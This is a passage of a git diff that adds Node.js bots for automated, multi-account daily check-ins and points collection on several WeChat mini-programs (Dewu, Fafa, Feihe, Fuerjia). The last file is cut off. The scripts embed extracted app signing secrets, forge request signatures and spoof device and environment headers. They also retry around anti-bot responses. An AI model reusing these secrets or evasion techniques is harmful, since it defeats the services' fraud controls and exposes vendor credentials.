+const SW_APP_SIGN_SECRET = "19bc545a393a25177083d4a748807cc0"; +const LOGIN_PATH = "/api/v1/h5/user_core/mapi/users/wechat/login"; +// 登录专用固定头(应用常量) +const SW_APP_SK = "9U7MQhgnG8oZXxFz88rUDzxlHf8BQe4pNv5y7wMGKqoChmYNNPA4D56K2C4i066BtQ6yv8CKBW8vbXCdLdDH8MnN271p"; +const SW_APP_LTK = "eMKkwoHDnMOrCMKcw6PDsMKRP8KUworCgsOue8OmwpbCkcKnNTjCk3fDk8OrLcOKa1TCnHrDjVDCh8Ogw7s9cMOLcCjCoMOyw5I="; +const SW_APP_XSN = "eef229c26f5fa8169ed16f4f66c360d3"; +// 业务头固定应用常量 +const AUTH_SK = "9U0cRrTwOLG5X6xThcbMQQUWKTkAjqOvr3CEVpaSot2bnNdNBTRzNio1SDIt5Dr5Pt3Ogq91fX6rrGJuhEW12WnBJ51u"; +const DEVICE_MODEL = "2512BPNDAC"; + +const EP_SIGN_LIST = "/hacking-tree/v1/sign/list"; +const EP_SIGN_IN = "/hacking-tree/v1/sign/sign_in"; + +const TOKEN_CACHE_FILE = path.join(__dirname, "dw_token_cache.json"); +const LOGIN_UA = + "Mozilla/5.0 (Linux; Android 16; 2308CPXD0C Build/BP2A.250605.031.A3; wv) AppleWebKit/537.36 " + + "(KHTML, like Gecko) Version/4.0 Chrome/146.0.7680.178 Mobile Safari/537.36 XWEB/1460249 " + + "MMWEBSDK/20260202 MMWEBID/6435 MicroMessenger/8.0.70.3060(0x28004652) WeChat/arm64 Weixin " + + "NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android"; +const BIZ_UA = + "Mozilla/5.0 (Linux; U; Android 14; zh-CN; " + DEVICE_MODEL + " Build/UKQ1.230917.001) " + + "AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/100.0.4896.58 UWS/5.18.11.0 " + + "Mobile Safari/537.36/duapp/5.91.5(android;14)"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function md5(str) { + return crypto.createHash("md5").update(String(str), "utf8").digest("hex"); +} +function uuid4() { + return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, (c) => { + const r = (Math.random() * 16) | 0; + return (c === "x" ? r : (r & 0x3) | 0x8).toString(16); + }); +} + +// 登录签名:排序键拼接 key+fmt(v)(bool→true/false,null/undefined 跳过),末尾追加密钥后 MD5。 +function loginSign(params, secret) { + const fmt = (v) => { + if (v === null || v === undefined) return ""; + if (typeof v === "boolean") return v ? "true" : "false"; + if (typeof v === "object") return JSON.stringify(v); + return String(v); + }; + let text = ""; + for (const k of Object.keys(params).sort()) { + if (params[k] === null || params[k] === undefined) continue; + text += k + fmt(params[k]); + } + return md5(text + secret); +} + +// 业务签名:排序键拼接 key+str(v)(null→""),末尾追加密钥后 MD5。空对象 => MD5(SIGN_SECRET)。 +function bizSign(params) { + const p = params || {}; + let raw = ""; + for (const k of Object.keys(p).sort()) { + const v = p[k]; + raw += k + (v === null || v === undefined ? "" : String(v)); + } + return md5(raw + SIGN_SECRET); +} + +function isAuthErr(data) { + if (!data || typeof data !== "object") return false; + const code = Number(data.code); + const msg = String(data.msg || data.message || ""); + if (code === 11001 || code === 700) return true; + return /校验失败|未登录|请先登录|token失效|会话/i.test(msg); +} +// 真正的滑块人机验证(需 App 内手动过),命中即视为当前 IP 被风控。 +function isHardCaptcha(data) { + if (!data || typeof data !== "object") return false; + if (Number(data.code) === 485 && data.data && data.data.sessionId) return true; + return /请校验验证码/.test(String(data.msg || "")); +} +const TRANSIENT_CODES = new Set([403, 404, 485]); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.xAuthToken = ""; + this.loginToken = ""; + this.captcha = false; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const body = { type: "wxapp", code, deviceId: uuid4(), newFlow: true, hitGray: true, bizType: "" }; + body.sign = loginSign(body, SW_APP_SIGN_SECRET); + const headers = { + Host: "app.dewu.com", + Connection: "keep-alive", + appVersion: "4.4.0", + "content-type": "application/json", + SK: SW_APP_SK, + ltk: SW_APP_LTK, + skt: "xdr1", + miniappversion: "5.96.1", + "Wxapp-Login-Token": "", + AppId: "wxapp", + "wxapp-route-id": "undefined", + platform: "h5", + xsn: SW_APP_XSN, + charset: "utf-8", + Referer: `https://servicewechat.com/${MINI_APP_ID}/586/page-frame.html`, + "User-Agent": LOGIN_UA, + }; + const res = await axios.request({ + method: "POST", url: BASE + LOGIN_PATH, data: body, headers, + timeout: 20000, validateStatus: () => true, + }); + let xAuth = String(res.headers["x-auth-token"] || res.headers["X-Auth-Token"] || "").replace("Bearer ", "").trim(); + const data = res.data || {}; + let loginToken = ""; + if (Number(data.code) === 200) { + loginToken = ((data.data || {}).loginInfo || {}).loginToken || ""; + } + if (!xAuth || !loginToken) { + const msg = data.msg || data.message || short(data); + // 未绑定手机号/未注册的优雅提示:实测该微信号未绑手机 -> code=745 "请先绑定手机号", + // 此时登录不返回 token(并非脚本错误,需先在得物 App/小程序里绑定手机号登录一次)。 + if (Number(data.code) === 745 || /注册|未激活|绑定|授权|手机号/.test(String(msg))) { + this.unregistered = true; + throw new Error(`NO_ACCOUNT:${msg}`); + } + throw new Error(`登录失败(code=${data.code} 无token): ${msg}`); + } + this.xAuthToken = xAuth; + this.loginToken = String(loginToken); + const cache = readCache(); + cache[this.account.openid] = { xAuthToken: this.xAuthToken, loginToken: this.loginToken, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + bizHeaders() { + return { + "x-auth-token": this.xAuthToken, + duToken: this.loginToken, + cookieToken: this.loginToken, + device_model: DEVICE_MODEL, + deviceTrait: DEVICE_MODEL, + SK: AUTH_SK, + ua: "duapp/5.91.5(android;14)", + appid: "h5", + networktype: "wifi", + channel: "du", + appVersion: "5.91.5", + emu: "0", + countryCode: "CN", + isRoot: "0", + imei: "", + platform: "h5", + isProxy: "0", + Origin: "https://cdn-m.dewu.com", + "X-Requested-With": "com.shizhuang.duapp", + Referer: "https://cdn-m.dewu.com/", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", + Accept: "*/*", + "Sec-Fetch-Site": "same-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + Cookie: `duToken=${this.loginToken}`, + "User-Agent": BIZ_UA, + }; + } + // GET:sign 源=query 参数(此处均为空),sign 放到 query。 + async bizGet(apiPath, params = {}) { + const query = { ...params, sign: bizSign(params) }; + const res = await axios.request({ + method: "GET", url: BASE + apiPath, params: query, headers: this.bizHeaders(), + timeout: 20000, validateStatus: () => true, + }); + return { status: res.status, data: res.data || {} }; + } + // POST:sign 源=body,sign 放到 query。带瞬时反爬(403/404/485)退避重试。 + async bizPost(apiPath, body = {}, extraHeaders = {}) { + const query = { sign: bizSign(body) }; + const headers = { ...this.bizHeaders(), ...extraHeaders }; + let last = { status: 0, data: {} }; + const retries = 3; + for (let attempt = 0; attempt <= retries; attempt++) { + if (attempt > 0) { + const wait = Math.round((Math.pow(2, attempt - 1) * 6 + Math.random() * 3) * 1000); + this.log(` [重试 ${attempt}/${retries}] ${(wait / 1000).toFixed(1)}s 后重发 ${apiPath}`); + await new Promise((r) => setTimeout(r, wait)); + } + const res = await axios.request({ + method: "POST", url: BASE + apiPath, params: query, data: body, headers, + timeout: 20000, validateStatus: () => true, + }); + last = { status: res.status, data: res.data || {} }; + if (isHardCaptcha(last.data)) return last; // 滑块不重试 + if (TRANSIENT_CODES.has(res.status)) continue; + const biz = Number(last.data && last.data.code); + if (TRANSIENT_CODES.has(biz)) continue; + return last; + } + return last; + } + async checkSignedToday() { + const { data } = await this.bizGet(EP_SIGN_LIST); + if (isAuthErr(data)) return { auth: true }; + try { + const d = data.data || {}; + for (const item of d.list || []) { + if (item.day === d.currentDay && item.IsSignIn) return { signed: true }; + } + } catch (e) {} + return { signed: false, ok: Number(data.code) === 200 }; + } + async sign(retry = true) { + // 1) 先查签到列表,若今日已签直接返回 + const chk = await this.checkSignedToday(); + if (chk.auth) { + if (retry) { this.log("会话失效,重新登录后重试"); this.xAuthToken = ""; this.loginToken = ""; await this.login(); return this.sign(false); } + return this.log("❌ 鉴权失效,重登后仍失败"); + } + if (chk.signed) return this.log("✅ 今日已签到"); + // 2) 执行签到 + const { status, data } = await this.bizPost(EP_SIGN_IN, {}); + if (isHardCaptcha(data)) { + this.captcha = true; + return this.log(`🚫 触发滑块验证码,当前 IP 被得物风控,请在 App 内手动签到或换网络重跑(非脚本错误): ${short(data.msg)}`); + } + if (Number(data.code) === 711110001) return this.log("✅ 今日已签到(服务端确认)"); + if (status === 200 && Number(data.code) === 200) { + const num = (data.data || {}).Num; + return this.log(`✅ 签到成功${num !== undefined ? `,获得水滴 ${num}` : ""}`); + } + const msg = data.msg || data.message || short(data); + if (/已签|签到过|重复|已完成/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + if (retry && isAuthErr(data)) { + this.log("会话失效,重新登录后重试"); + this.xAuthToken = ""; this.loginToken = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg} (code=${data.code})`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.xAuthToken && cached.xAuthToken && cached.loginToken) { + this.xAuthToken = cached.xAuthToken; + this.loginToken = cached.loginToken; + this.log("使用缓存token"); + return; + } + if (!this.xAuthToken) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号未在得物绑定手机号/注册(${String(e.message).replace(/^NO_ACCOUNT:/, "")}),先在得物小程序里登录并绑定手机号一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/fafa.js b/wxapp/fafa.js new file mode 100644 index 00000000..a5fe4acb --- /dev/null +++ b/wxapp/fafa.js @@ -0,0 +1,319 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 发发藏宝洞 小程序签到 +cron: 38 8 * * * +------------------------------------------ +变量名:fafa +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +也支持直接填 token,格式:token= +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("发发藏宝洞小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wxd15ddc3916302f35"; +const PAGE_VERSION = "99"; +const APP_VERSION = "2.31.2"; +const ENV_VERSION = "release"; +const API_BASE = "https://smp-api.iyouke.com/dtapi"; +const TOKEN_CACHE_FILE = path.join(__dirname, "fafa_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "fafa"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function formatDate(date = new Date(), separator = "-") { + const y = date.getFullYear(); + const m = String(date.getMonth() + 1).padStart(2, "0"); + const d = String(date.getDate()).padStart(2, "0"); + return [y, m, d].join(separator); +} + +function normalizeAuthorization(value = "") { + const token = String(value || "").trim(); + if (!token) return ""; + if (/^bearer/i.test(token)) return token; + if (/^Bearer\s+/i.test(token)) return `bearer${token.replace(/^Bearer\s+/i, "")}`; + return `bearer${token}`; +} + +function maskMobile(mobile = "") { + return String(mobile || "").replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +class Task { + constructor(account) { + this.index = $.userIdx++; + this.account = String(account || "").trim(); + this.accessToken = ""; + this.authorization = ""; + this.userInfo = {}; + this.todayDate = formatDate(); + this.isTodaySign = false; + this.isDirectToken = /^token=/i.test(this.account) || /^bearer/i.test(this.account); + if (this.isDirectToken) this.applyToken({ authorization: this.account.replace(/^token=/i, "") }); + } + + async run() { + if (!this.authorization) { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + } + + if (!this.authorization) { + await this.loginByWxCode(); + if (!this.authorization) return; + } + // 未在本店铺注册:后续接口必然 401,直接结束,避免刷一串误导性失败 + if (this.unregistered) return; + + await this.getUserInfo(); + await this.getPointsInfo(); + await this.getSignList(); + await this.doSign(); + await this.getPointsInfo(); + this.saveCachedToken(); + } + + cacheKey() { + return this.isDirectToken ? `token:${this.authorization.slice(-16)}` : this.account; + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.cacheKey()] || null; + } + + saveCachedToken() { + if (!this.authorization) return; + const cache = readTokenCache(); + cache[this.cacheKey()] = { + accessToken: this.accessToken, + authorization: this.authorization, + userId: this.userInfo.userId || "", + nickName: this.userInfo.nickName || "", + userMobile: this.userInfo.userMobile || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + delete cache[this.cacheKey()]; + writeTokenCache(cache); + this.accessToken = ""; + this.authorization = ""; + this.userInfo = {}; + } + + applyToken(data = {}) { + this.accessToken = data.accessToken || data.access_token || ""; + this.authorization = normalizeAuthorization(data.authorization || this.accessToken); + this.userInfo = { ...this.userInfo, ...data }; + } + + headers(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "application/json, text/plain, */*", + appId: MINI_APP_ID, + version: APP_VERSION, + envVersion: ENV_VERSION, + "xy-extra-data": `appid=${MINI_APP_ID};version=${APP_VERSION};envVersion=${ENV_VERSION};`, + ...extra, + }; + if (this.authorization) headers.Authorization = this.authorization; + return headers; + } + + async request({ method = "POST", apiPath, params = {}, data = {}, skipToken = false }) { + const upperMethod = method.toUpperCase(); + const options = { + method: upperMethod, + url: `${API_BASE}${apiPath}`, + headers: this.headers(upperMethod === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 20000, + validateStatus: () => true, + }; + if (upperMethod === "GET") options.params = params; + else options.data = data; + if (skipToken) delete options.headers.Authorization; + + const res = await axios.request(options); + if (res.status !== 200) throw new Error(`HTTP ${res.status}: ${JSON.stringify(res.data)}`); + const result = res.data; + if (result && typeof result === "object" && result.error !== undefined && Number(result.error) !== 0) { + const err = new Error(result.errorMsg || result.message || result.msg || JSON.stringify(result)); + err.code = result.error; + throw err; + } + return result?.data ?? result; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.account); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const data = await this.request({ + apiPath: "/appLogin", + skipToken: true, + data: { + appType: 1, + principal: code, + }, + }); + this.applyToken(data); + if (!this.authorization) throw new Error(`登录未返回token: ${JSON.stringify(data)}`); + this.saveCachedToken(); + // 登录回 200 但不带 userId 时,拿到的是无效会话:随后所有业务接口都会 + // 401(token已失效/缺少token令牌)。实测两种成因——wx_server 取码失败/限流拿到坏 code + // (最常见,稍后重试即可),或该微信号确实未在本店铺注册。都不该继续往下刷失败。 + if (!data.userId) { + this.unregistered = true; + $.log(`账号[${this.index}] ⚠️ 登录未返回 userId,会话无效(多为 wx_server 取码失败/限流,稍后重试;若持续如此则是该微信号未在本店铺注册)`); + return; + } + $.log(`账号[${this.index}] 登录成功: userId=${data.userId}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getUserInfo(false); + return true; + } catch (e) { + return false; + } + } + + async getUserInfo(log = true) { + const data = await this.request({ + method: "GET", + apiPath: "/p/user/userInfo", + }); + this.userInfo = { + ...this.userInfo, + ...data, + }; + this.saveCachedToken(); + if (log) { + const name = data.nickName || data.memberName || data.userId || "未知"; + const mobile = data.userMobile || data.mobile || ""; + $.log(`账号[${this.index}] 用户: ${name}${mobile ? ` ${maskMobile(mobile)}` : ""}`); + } + return data; + } + + async getPointsInfo() { + try { + const data = await this.request({ + method: "GET", + apiPath: "/pointsSign/user/pointsInfo/query", + }); + $.log(`账号[${this.index}] 积分: ${data?.pointsNums ?? "未知"} 连签=${data?.seriesDays ?? 0} 今日=${data?.signTodayResult ? "已签" : "未签"}`); + return data; + } catch (e) { + const message = e.message || e; + $.log(`账号[${this.index}] 查询积分失败: ${message}`); + if (/token|登录|授权|401/i.test(String(message))) this.removeCachedToken(); + } + } + + async getSignList() { + try { + const data = await this.request({ + method: "GET", + apiPath: "/pointsSign/user/sign/list", + params: { v4Flag: true }, + }); + const today = formatDate(); + const todayItem = Array.isArray(data) ? data.find((item) => item?.isToday || item?.dateStr === today) : null; + this.todayDate = todayItem?.dateStr || today; + this.isTodaySign = Number(todayItem?.daySignStatus) === 2 || Boolean(todayItem?.sign); + $.log(`账号[${this.index}] 签到状态: ${this.todayDate} ${this.isTodaySign ? "已签" : "未签"}`); + } catch (e) { + const message = e.message || e; + $.log(`账号[${this.index}] 查询签到状态失败: ${message}`); + if (/token|登录|授权|401/i.test(String(message))) this.removeCachedToken(); + } + } + + async doSign() { + if (this.isTodaySign) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + try { + const date = (this.todayDate || formatDate()).replace(/-/g, "/"); + const data = await this.request({ + method: "GET", + apiPath: "/pointsSign/user/sign", + params: { date }, + }); + $.log(`账号[${this.index}] 签到成功: +${data?.signReward ?? data?.reward ?? "未知"}积分`); + } catch (e) { + const message = String(e.message || e); + if (/已签|重复|今日.*签/i.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (/token|登录|授权|401/i.test(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const account of $.userList) { + await new Task(account).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/feihe.js b/wxapp/feihe.js new file mode 100644 index 00000000..da18e8e4 --- /dev/null +++ b/wxapp/feihe.js @@ -0,0 +1,289 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 飞鹤微信小程序签到 +cron: 30 8 * * * +------------------------------------------ +变量名:feihe +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("飞鹤微信小程序签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); + +const MINI_APP_ID = "wx4205ec55b793245e"; +const API_BASE = "https://www.feihevip.com"; +const APP_ID = "xmyx"; +const APP_KEY = "TwUQ01lKS1Km5zlV2f7amsZc5EQYkTbv"; +const SIGN_TASK_TYPE = "DJSYQD"; +const TOKEN_CACHE_FILE = path.join(__dirname, "feihe_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "feihe"; + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskToken(token = "") { + if (!token) return ""; + return token.length > 16 ? `${token.slice(0, 8)}***${token.slice(-8)}` : `${token.slice(0, 4)}***`; +} + +function randomString(length) { + const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; + let result = ""; + for (let i = 0; i < length; i++) { + result += chars[Math.floor(Math.random() * chars.length)]; + } + return result; +} + +function md5Upper(text) { + return crypto.createHash("md5").update(text).digest("hex").toUpperCase(); +} + +function buildSignedHeaders({ data = null, token = "" } = {}) { + const headers = { + fhAppid: APP_ID, + fhNonceStr: randomString(16), + fhTimestamp: Math.floor(Date.now() / 1000), + token, + source: 1, + "Content-Type": "application/json", + OrderUpdate: 1, + visit: "", + }; + const dataSignValue = data && typeof data === "object" ? JSON.stringify(data) : data ? String(data) : ""; + const signKeys = ["fhAppid", "fhNonceStr", "fhTimestamp", dataSignValue].sort(); + const signText = signKeys.reduce((text, key) => { + if (Object.prototype.hasOwnProperty.call(headers, key)) { + return text + key + headers[key]; + } + return text + key; + }, ""); + + return { + ...headers, + fhSign: md5Upper(signText + APP_KEY), + Referer: `https://servicewechat.com/${MINI_APP_ID}/420/page-frame.html`, + "User-Agent": USER_AGENT, + Accept: "application/json, text/plain, */*", + }; +} + +function buildUrl(apiPath, query = {}) { + const params = new URLSearchParams(); + Object.entries(query || {}).forEach(([key, value]) => { + if (value !== undefined && value !== null) params.append(key, String(value)); + }); + return `${API_BASE}${apiPath}${params.toString() ? `?${params.toString()}` : ""}`; +} + +class Task { + constructor(account) { + this.index = $.userIdx++; + this.account = String(account || "").trim(); + this.token = ""; + this.userInfo = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.token = cached.token || ""; + $.log(`账号[${this.index}] 使用缓存token: ${maskToken(this.token)}`); + if (!(await this.checkToken())) { + $.log(`账号[${this.index}] 缓存token失效,重新code登录`); + this.removeCachedToken(); + this.token = ""; + } + } + + if (!this.token) { + await this.loginByCode(); + } + if (!this.token) return; + + await this.getIndexInfo(); + await this.signIn(); + } + + getCachedToken() { + const cache = readCache(); + return cache[this.account] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readCache(); + cache[this.account] = { + token: this.token, + userInfo: this.userInfo, + updatedAt: new Date().toISOString(), + }; + writeCache(cache); + } + + removeCachedToken() { + const cache = readCache(); + if (cache[this.account]) { + delete cache[this.account]; + writeCache(cache); + } + } + + async request({ method = "GET", apiPath, query = {}, data = null, token = this.token, allowFail = false }) { + const options = { + method, + url: buildUrl(apiPath, query), + headers: buildSignedHeaders({ data: method === "GET" ? null : data, token }), + timeout: 15000, + validateStatus: () => true, + }; + if (method !== "GET") options.data = data || {}; + + const { status, data: result } = await axios.request(options); + const ok = status === 200 && String(result?.code) === "200"; + if (!ok && !allowFail) { + throw new Error(`HTTP ${status} ${JSON.stringify(result)}`); + } + return result; + } + + async getWxCode() { + const wxServerUrl = process.env.wx_server_url; + const wxAuth = process.env.wx_auth; + if (!wxServerUrl || !wxAuth) throw new Error("未配置 wx_server_url 或 wx_auth"); + + const { status, data } = await axios.post( + `${wxServerUrl.replace(/\/$/, "")}/wx/getuserinfo`, + { appid: MINI_APP_ID, openid: this.account }, + { + headers: { + auth: wxAuth, + "content-type": "application/json", + }, + timeout: 15000, + validateStatus: () => true, + } + ); + const code = data?.code || data?.data?.code || data?.phoneCode || data?.data?.phoneCode; + if (status !== 200 || !code) throw new Error(`wx_server 获取code失败: HTTP ${status} ${JSON.stringify(data)}`); + return code; + } + + async loginByCode() { + const code = await this.getWxCode(); + const result = await this.request({ + apiPath: "/api/starMember/getUserToken", + query: { code }, + token: "", + }); + const data = result.data || {}; + this.token = result.token || data.token || ""; + this.userInfo = { + crmId: data.crmId, + openId: data.openId, + unionId: data.unionId, + loginStatus: data.loginStatus, + expireTime: data.expireTime, + }; + if (!this.token) throw new Error(`登录成功但未返回token: ${JSON.stringify(result)}`); + this.saveCachedToken(); + $.log(`账号[${this.index}] code登录成功: ${data.crmId || data.openId || ""} token=${maskToken(this.token)}`); + } + + async checkToken() { + try { + const result = await this.request({ + method: "POST", + apiPath: "/api/structures/index", + data: { id: "" }, + allowFail: true, + }); + return String(result?.code) === "200"; + } catch (e) { + return false; + } + } + + async getIndexInfo() { + const result = await this.request({ + method: "POST", + apiPath: "/api/structures/index", + data: { id: "" }, + allowFail: true, + }); + if (String(result?.code) === "200") { + const signModule = (result.data?.modules || []).find((item) => String(item.moduleType) === "17"); + $.log(`账号[${this.index}] 首页签到入口: ${signModule ? "已发现" : "未发现"}`); + } else { + $.log(`账号[${this.index}] 首页信息查询失败: ${result?.msg || JSON.stringify(result)}`); + } + } + + async signIn() { + const finish = await this.request({ + apiPath: "/api/member/signin/tofinish", + query: { taskType: SIGN_TASK_TYPE }, + allowFail: true, + }); + if (String(finish?.code) === "200" && finish.data === true) { + $.log(`账号[${this.index}] 签到任务已上报`); + } else if (String(finish?.code) === "200") { + $.log(`账号[${this.index}] 签到接口返回: ${JSON.stringify(finish.data)}`); + } else { + throw new Error(`签到失败: ${finish?.msg || JSON.stringify(finish)}`); + } + + const complete = await this.request({ + apiPath: "/api/member/signin/completeTask", + query: { taskType: SIGN_TASK_TYPE }, + allowFail: true, + }); + if (String(complete?.code) === "200") { + const points = complete.data?.awardSendPoints || complete.data?.awardPoint || ""; + $.log(`账号[${this.index}] 签到完成${points ? `,获得${points}积分` : ""}`); + } else if (complete?.msg) { + // msg 常常只是一串 trace id,带上 code 与完整响应才能判断是奖励已领还是真失败 + $.log(`账号[${this.index}] 完成确认返回: code=${complete.code} ${JSON.stringify(complete).slice(0, 200)}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) return; + + for (const account of $.userList) { + const task = new Task(account); + try { + await task.run(); + } catch (e) { + $.log(`账号[${task.index}] 运行失败: ${e.message || e}`); + } + } +})() + .catch((e) => $.log(`运行异常: ${e.message || e}`)) + .finally(() => $.done && $.done()); diff --git a/wxapp/fej.js b/wxapp/fej.js new file mode 100644 index 00000000..b7deeeb6 --- /dev/null +++ b/wxapp/fej.js @@ -0,0 +1,261 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 敷尔佳小程序签到 +cron: 20 8 * * * +------------------------------------------ +变量名:fej +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("敷尔佳小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx7ff0b3a99cb13b43"; +const CLIENT_ID = "4d65249d377b2c3ed8"; +const CLIENT_SECRET = "1cdc05151d64f3a4a6ebd0e9de64422a"; +const GRANT_TYPE = "yz_union"; +const KDT_ID = "44980544"; +const USER_VERSION = "2.220.5.101"; +const API_BASE = "https://h5.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "fej_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "fej"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "your-api-key", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.sessionId = ""; + this.cookie = ""; + this.kdtId = KDT_ID; + 